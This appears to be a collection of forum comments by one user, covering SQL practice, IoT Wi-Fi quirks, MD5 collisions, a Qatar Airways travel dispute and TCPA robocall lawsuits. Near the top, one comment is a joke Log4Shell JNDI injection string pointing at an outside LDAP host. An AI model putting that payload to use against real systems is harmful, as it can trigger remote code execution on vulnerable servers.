But why would you ever send a plaintext password into a sql query?
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${jndi:ldap://hunter2.com/totallylegit}I agree, my wife totally intended on a minimal medical intervention based birth. Still went to the hospital, just in case, as we had planned. Turns out that after hours of contractions, the birth was not going to happen (sparing the details) and a section was necessary after all. You simply can’t plan for this ahead of time.
Each manufacturer seems to have their own little quirks you need to work around: one device only works well on 2.4 channel 1, another will aggressively roam to other access points (even though it and the ap are stationary, and the closest ap has < -60dbm signal). Even the most relatively well behaved modules will disconnect and reconnect constantly (average connection time is ~10 minutes to an hour, mind you the device is constantly connected to mains power). God forbid you enable any 802.11 extensions on the radio servicing those devices, then you’re really in for a world of hurt.
Then when you complain to the manufacturer, you get super helpful advice like “factory reset your router” and “open the following 28 ports through your nat gateway to our device” (sooooo… and if I have two of your devices, what then?). It’s a total shitshow.
I did something similar many years ago with a Motorola razr phone. I was digging trenches for an irrigation system. I checked for my phone a day later and had no idea where it went. My best guess is that it fell out of my pocket and into the trench, which was subsequently covered up.
I joke that one day a more advanced civilization will dig up this ancient artifact, wonder what its purpose could have been, and make up some fantastical story after the fact as to why it ended up in that shallow trench.
It is much more computationally feasible to create two inputs from scratch that hash to the same value than to forge an existing documents hash (the threat model I’m assuming they’re discussing in relation to the law).
As far as I know I am not aware of a demonstrated second preimage attack on md5. Not saying to keep using it, just trying to not spread fud.
Edit: I do see second preimage is mentioned about 3/4 of the way through the article. I confess that I did stop reading and started skimming before then.
https://en.m.wikipedia.org/wiki/Sony_BMG_copy_protection_roo...
I took a glance at the paperwork - the insurance premium for a month long policy for me was 900 euro. In 2001.
Placing “no show” in the record to try and blame us was definitely not good customer service.
Sure my gripe may be with the government, but what difference does it make? They are one and the same given that both entities will point fingers at each other. I tried calling Qatar airways first - they were the ones who suggested calling the health authorities.
As I’ve posted on this site in the past, I am very meticulous when preparing documentation for foreign trips. So I spent hours researching the policies and procedures and had dozens of pages of documentation on me as a contingency plan. I would expect that an airline would do the same if you were in a similar situation after the significant research you’ve done! I would not just give up and say it’s your fault. That’s not an acceptable outcome in my opinion, especially after you’ve taken pains to do the right thing.
I didn’t expect any compensation but I did expect them to make good on the contract of carriage to get us home by rebooking us on the same itinerary just without the day long stopover.
The Qatar websites were not clear and when I called the Qatar health authorities ahead of the trip to clarify, they refused to give any guidance but assured me that my circumstances would allow me to travel and complete my stopover without an issue.
So I did the best I could and had a 1/2” binder with dozens of pages of documentation with me during the whole trip. At some point there is only so much research you can do and at the end of the day you’re just subject to an arbitrary interpretation of a vague and rapidly changing rules written in a language you don’t understand.
Fast forward to our aborted attempt at entering the country. We are denied boarding on Qatar airways for our return flight via Doha with our booked stopover. Apparently there is some sort of electronic approval process we did not perform - mind you, we had already filed the forms including our negative Covid tests taken in country- but to no avail. Qatar airways refused to rebook us as they claimed we were a no show. After hours of calls with the airline we finally convinced them to rebook us at no cost, without the stopover. Discover Qatar continues to this day to refuse a refund for a hotel stay we could not use as we were denied entry.
First world problems, yes, but when you’re looking for tourism dollars, don’t piss off your customer base.
Yes, it takes time and skill, but then again, between the TCPA and state statutes you could potentially recover close to $6000 per call. Now when you negotiate a settlement you may not actually see that much, but you are definitely getting the attention of the offenders, and just the process of responding to your complaint (lawyer time) will take another few thousand dollars out of the pockets of these cretin.
Unfortunately most of the culprits nowadays are overseas scammers, in which case it’s no help. I would agree in that case- the only way to stop these folks is through the carriers themselves and they don’t seem too keen on doing anything.
It’s open enrollment for Medicare, and I can also assure you that not only do I not qualify for Medicare but I have also not opted in to incessant Medicare spam.
I also never opted in for political messaging.
I also never opted in for calls regarding Camp Lejune injuries.
I also never opted in for calls about automobile accident injuries.
I also never opted in to be contacted for final expense insurance.
Shall I go on? Carriers most certainly have not “cracked” illegal spam through analytics. My carrier stops about 20-50% of the spam I receive.
The TCPA is great to cut down on the onshore businesses using illegal telemarketing to promote their business, but does nothing for the offshore scams. I’ve used TCPA in the past and helped carriers identify and sue telemarketers so I am very familiar with it.